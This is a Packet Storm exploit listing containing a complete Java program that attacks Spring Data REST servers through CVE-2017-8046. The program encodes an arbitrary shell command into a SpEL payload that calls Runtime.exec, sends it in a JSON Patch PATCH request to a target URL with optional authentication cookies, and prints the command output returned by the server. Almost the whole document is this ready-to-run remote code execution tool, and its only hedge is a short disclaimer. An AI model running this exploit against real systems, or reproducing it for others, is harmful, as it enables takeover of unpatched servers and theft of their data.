Lucene search

K
packetstormAntonio Francesco SardellaPACKETSTORM:146817
HistoryMar 15, 2018 - 12:00 a.m.

Spring Data REST PATCH Request Remote Code Execution

2018-03-1500:00:00
Antonio Francesco Sardella
packetstormsecurity.com
63

0.466 Medium

EPSS

Percentile

97.1%

`// Exploit Title: RCE in PATCH requests in Spring Data REST  
// Date: 2018-03-10  
// Exploit Author: Antonio Francesco Sardella  
// Vendor Homepage: https://pivotal.io/  
// Software Link: https://projects.spring.io/spring-data-rest/  
// Version: Spring Data REST versions prior to 2.6.9 (Ingalls SR9), 3.0.1 (Kay SR1)  
// Tested on: 'Microsoft Windows 7' and 'Xubuntu 17.10.1' with 'spring-boot-starter-data-rest' version '1.5.6.RELEASE'  
// CVE: CVE-2017-8046  
// Category: Webapps  
// Repository: https://github.com/m3ssap0/spring-break_cve-2017-8046  
// Example Vulnerable Application: https://github.com/m3ssap0/SpringBreakVulnerableApp  
// Vulnerability discovered and reported by: Man Yue Mo from Semmle and lgtm.com  
  
package com.afs.exploit.spring;  
  
import java.io.BufferedReader;  
import java.io.IOException;  
import java.io.InputStreamReader;  
import java.net.URI;  
import java.net.URISyntaxException;  
  
import org.apache.http.HttpResponse;  
import org.apache.http.client.HttpClient;  
import org.apache.http.client.methods.HttpPatch;  
import org.apache.http.entity.StringEntity;  
import org.apache.http.impl.client.HttpClientBuilder;  
  
/**  
* This is a Java program that exploits Spring Break vulnerability (CVE-2017-8046).  
* This software is written to have as less external dependencies as possible.  
* DISCLAIMER: This tool is intended for security engineers and appsec guys for security assessments. Please  
* use this tool responsibly. I do not take responsibility for the way in which any one uses this application.  
* I am NOT responsible for any damages caused or any crimes committed by using this tool.  
* ..................  
* . CVE-ID ........: CVE-2017-8046  
* . Link ..........: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8046  
* . Description ...: Malicious PATCH requests submitted to spring-data-rest servers in Pivotal Spring Data REST  
* .................. versions prior to 2.5.12, 2.6.7, 3.0 RC3, Spring Boot versions prior to 2.0.0M4, and Spring  
* .................. Data release trains prior to Kay-RC3 can use specially crafted JSON data to run arbitrary  
* .................. Java code.  
* ..................  
*   
* @author Antonio Francesco Sardella  
*/  
public class SpringBreakCve20178046 {  
  
/**  
* Version string.  
*/  
private static final String VERSION = "v1.0 (2018-03-10)";  
  
/**  
* The JSON Patch object.  
*/  
private static String JSON_PATCH_OBJECT = "[{ \"op\" : \"replace\", \"path\" : \"%s\", \"value\" : \"pwned\" }]";  
  
/**  
* This is a way to bypass the split and 'replace'  
* logic performed by the framework on slashes.  
*/  
private static String SLASH = "T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))";  
  
/**  
* Used to encode chars.  
*/  
private static String CHAR_ENCODING = "T(java.lang.Character).toChars(%d)[0]";  
  
/**  
* Malicious payload.  
*/  
private static String PAYLOAD;  
  
/**  
* Malicious payload initialization.  
*/  
static {  
PAYLOAD = "T(org.springframework.util.StreamUtils).copy(";  
PAYLOAD += "T(java.lang.Runtime).getRuntime().exec(";  
PAYLOAD += "(";  
PAYLOAD += "T(java.lang.System).getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")";  
PAYLOAD += "?";  
PAYLOAD += "\\\"cmd \\\"+" + SLASH + "+\\\"c \\\"";  
PAYLOAD += ":";  
PAYLOAD += "\\\"\\\"";  
PAYLOAD += ")+";  
PAYLOAD += "%s"; // The encoded command will be placed here.  
PAYLOAD += ").getInputStream()";  
PAYLOAD += ",";  
PAYLOAD += "T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes()";  
PAYLOAD += ".getResponse().getOutputStream()";  
PAYLOAD += ").x";  
}  
  
/**  
* Error cause string that can be used to "clean the response."  
*/  
private static String ERROR_CAUSE = "{\"cause";  
  
/**  
* The target URL.  
*/  
private URI url;  
  
/**  
* The command that will be executed on the remote machine.  
*/  
private String command;  
  
/**  
* Cookies that will be passed.  
*/  
private String cookies;  
  
/**  
* Flag used to remove error messages in output due to  
* the usage of the exploit. It could hide error messages  
* if the request fails for other reasons.  
*/  
private boolean cleanResponse;  
  
/**  
* Verbosity flag.  
*/  
private boolean verbose;  
  
/**  
* Default constructor.  
*/  
public SpringBreakCve20178046() {  
this.verbose = false;  
this.cleanResponse = false;  
}  
  
/**  
* Performs the exploit.  
*   
* @throws IOException  
* If something bad occurs during HTTP GET.  
*/  
public void exploit() throws IOException {  
checkInput();  
printInput();  
String payload = preparePayload();  
String response = httpPatch(payload);  
printOutput(response);  
}  
  
/**  
* Checks the input.  
*/  
private void checkInput() {  
if (this.url == null) {  
throw new IllegalArgumentException("URL must be passed.");  
}  
  
if (isEmpty(this.command)) {  
throw new IllegalArgumentException("Command must be passed.");  
}  
}  
  
/**  
* Prints input if verbose flag is true.  
*/  
private void printInput() {  
if (isVerbose()) {  
System.out.println("[*] Target URL ........: " + this.url);  
System.out.println("[*] Command ...........: " + this.command);  
System.out.println("[*] Cookies ...........: " + (isEmpty(this.cookies) ? "(no cookies)" : this.cookies));  
}  
}  
  
/**  
* Prepares the payload.  
*   
* @return The malicious payload that will be injected.  
*/  
private String preparePayload() {  
System.out.println("[*] Preparing payload.");  
  
String command = encodingCommand(); // Encoding inserted command.  
String payload = String.format(PAYLOAD, command); // Preparing Java payload.  
payload = String.format(JSON_PATCH_OBJECT, payload); // Placing payload into JSON Patch object.  
  
if (isVerbose()) {  
System.out.println("[*] Payload ...........: " + payload);  
}  
  
return payload;  
}  
  
/**  
* Encodes the inserted command.  
* PROS: No problems in interpreting things.  
* CONS: Payload too long.  
*   
* @return The encoded command.  
*/  
private String encodingCommand() {  
StringBuffer encodedCommand = new StringBuffer("T(java.lang.String).valueOf(new char[]{");  
  
int commandLength = this.command.length();  
for (int i = 0; i < commandLength; i++) {  
encodedCommand.append(String.format(CHAR_ENCODING, (int) this.command.charAt(i)));  
if (i + 1 < commandLength) {  
encodedCommand.append(",");  
}  
}  
  
encodedCommand.append("})");  
  
if (isVerbose()) {  
System.out.println("[*] Encoded command ...: " + encodedCommand.toString());  
}  
  
return encodedCommand.toString();  
}  
  
/**  
* HTTP PATCH operation on the target passing the malicious payload.  
*   
* @param payload  
* The malicious payload.  
* @return The response as a string.  
* @throws IOException  
* If something bad occurs during HTTP GET.  
*/  
private String httpPatch(String payload) throws IOException {  
System.out.println("[*] Sending payload.");  
  
// Preparing PATCH operation.  
HttpClient client = HttpClientBuilder.create().build();  
HttpPatch patch = new HttpPatch(this.url);  
patch.setHeader("User-Agent", "Mozilla/5.0");  
patch.setHeader("Accept-Language", "en-US,en;q=0.5");  
patch.setHeader("Content-Type", "application/json-patch+json"); // This is a JSON Patch.  
if (!isEmpty(this.cookies)) {  
patch.setHeader("Cookie", this.cookies);  
}  
patch.setEntity(new StringEntity(payload));  
  
// Response string.  
StringBuffer response = new StringBuffer();  
  
// Executing PATCH operation.  
HttpResponse httpResponse = client.execute(patch);  
if (httpResponse != null) {  
  
// Reading response code.  
if (httpResponse.getStatusLine() != null) {  
int responseCode = httpResponse.getStatusLine().getStatusCode();  
System.out.println("[*] HTTP " + responseCode);  
} else {  
System.out.println("[!] HTTP response code can't be read.");  
}  
  
// Reading response content.  
if (httpResponse.getEntity() != null && httpResponse.getEntity().getContent() != null) {  
BufferedReader in = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));  
String inputLine;  
  
while ((inputLine = in.readLine()) != null) {  
response.append(inputLine);  
response.append(System.getProperty("line.separator"));  
}  
in.close();  
} else {  
System.out.println("[!] HTTP response content can't be read.");  
}  
  
} else {  
System.out.println("[!] HTTP response is null.");  
}  
  
return response.toString();  
}  
  
/**  
* Prints output.  
*   
* @param response  
* Response that will be printed.  
*/  
private void printOutput(String response) {  
if (!isEmpty(response)) {  
System.out.println("[*] vvv Response vvv");  
  
// Cleaning response (if possible).  
if (isCleanResponse() && response.contains(ERROR_CAUSE)) {  
String cleanedResponse = response.split("\\" + ERROR_CAUSE)[0];  
System.out.println(cleanedResponse);  
} else {  
System.out.println(response);  
}  
  
System.out.println("[*] ^^^ ======== ^^^");  
}  
}  
  
/**  
* Checks if an input string is null/empty or not.  
*   
* @param input  
* The input string to check.  
* @return True if the string is null or empty, false otherwise.  
*/  
private boolean isEmpty(String input) {  
boolean isEmpty;  
  
if (input == null || input.trim().length() < 1) {  
isEmpty = true;  
} else {  
isEmpty = false;  
}  
  
return isEmpty;  
}  
  
/* Getters and setters. */  
  
public boolean isVerbose() {  
return verbose;  
}  
  
public void setVerbose(boolean verbose) {  
this.verbose = verbose;  
}  
  
public void setUrl(String url) throws URISyntaxException {  
if (isEmpty(url)) {  
throw new IllegalArgumentException("URL must be not null and not empty.");  
}  
  
this.url = new URI(url.trim());  
}  
  
public void setCommand(String command) {  
if (isEmpty(command)) {  
throw new IllegalArgumentException("Command must be not null and not empty.");  
}  
  
this.command = command.trim();  
}  
  
public void setCookies(String cookies) {  
if (cookies != null) {  
cookies = cookies.trim();  
}  
  
this.cookies = cookies;  
}  
  
public boolean isCleanResponse() {  
return cleanResponse;  
}  
  
public void setCleanResponse(boolean cleanResponse) {  
this.cleanResponse = cleanResponse;  
}  
  
/**  
* Shows the program help.  
*/  
public static final void help() {  
System.out.println("Usage:");  
System.out.println(" java -jar spring-break_cve-2017-8046.jar [options]");  
System.out.println("Description:");  
System.out.println(" Exploiting 'Spring Break' Remote Code Execution (CVE-2017-8046).");  
System.out.println("Options:");  
System.out.println(" -h, --help");  
System.out.println(" Prints this help and exits.");  
System.out.println(" -u, --url [target_URL]");  
System.out.println(" The target URL where the exploit will be performed.");  
System.out.println(" You have to choose an existent resource.");  
System.out.println(" -cmd, --command [command_to_execute]");  
System.out.println(" The command that will be executed on the remote machine.");  
System.out.println(" --cookies [cookies]");  
System.out.println(" Optional. Cookies passed into the request, e.g. authentication cookies.");  
System.out.println(" --clean");  
System.out.println(" Optional. Removes error messages in output due to the usage of the");  
System.out.println(" exploit. It could hide error messages if the request fails for other reasons.");  
System.out.println(" -v, --verbose");  
System.out.println(" Optional. Increase verbosity.");  
}  
  
/**  
* Main method.  
*   
* @param args  
* Input arguments  
*/  
public static void main(String[] args) {  
try {  
System.out.println("'Spring Break' RCE (CVE-2017-8046) - " + VERSION);  
SpringBreakCve20178046 o = new SpringBreakCve20178046();  
  
if (args.length > 0) {  
for (int i = 0; i < args.length; i++) {  
  
String p = args[i];  
  
if (("-h".equals(p) || "--help".equals(p)) && i == 0) {  
SpringBreakCve20178046.help();  
return;  
} else if ("-u".equals(p) || "--url".equals(p)) {  
  
if (i + 1 > args.length - 1) {  
throw new IllegalArgumentException("URL must be passed.");  
}  
o.setUrl(args[++i]);  
  
} else if ("-cmd".equals(p) || "--command".equals(p)) {  
  
if (i + 1 > args.length - 1) {  
throw new IllegalArgumentException("Command must be passed.");  
}  
o.setCommand(args[++i]);  
  
} else if ("--cookies".equals(p)) {  
  
if (i + 1 > args.length - 1) {  
throw new IllegalArgumentException("Cookies must be passed, if specified.");  
}  
o.setCookies(args[++i]);  
  
} else if ("--clean".equals(p)) {  
o.setCleanResponse(true);  
} else if ("-v".equals(p) || "--verbose".equals(p)) {  
o.setVerbose(true);  
}  
  
}  
  
// Performing the exploit.  
o.exploit();  
  
} else { // Wrong number of arguments.  
SpringBreakCve20178046.help();  
return;  
}  
  
} catch (URISyntaxException use) {  
System.out.println("[!] Input error (URI syntax exception): " + use.getMessage());  
} catch (IllegalArgumentException iae) {  
System.out.println("[!] Input error (illegal argument): " + iae.getMessage());  
} catch (Exception e) {  
System.out.println("[!] Unexpected exception: " + e.getMessage());  
e.printStackTrace();  
}  
}  
  
}  
  
`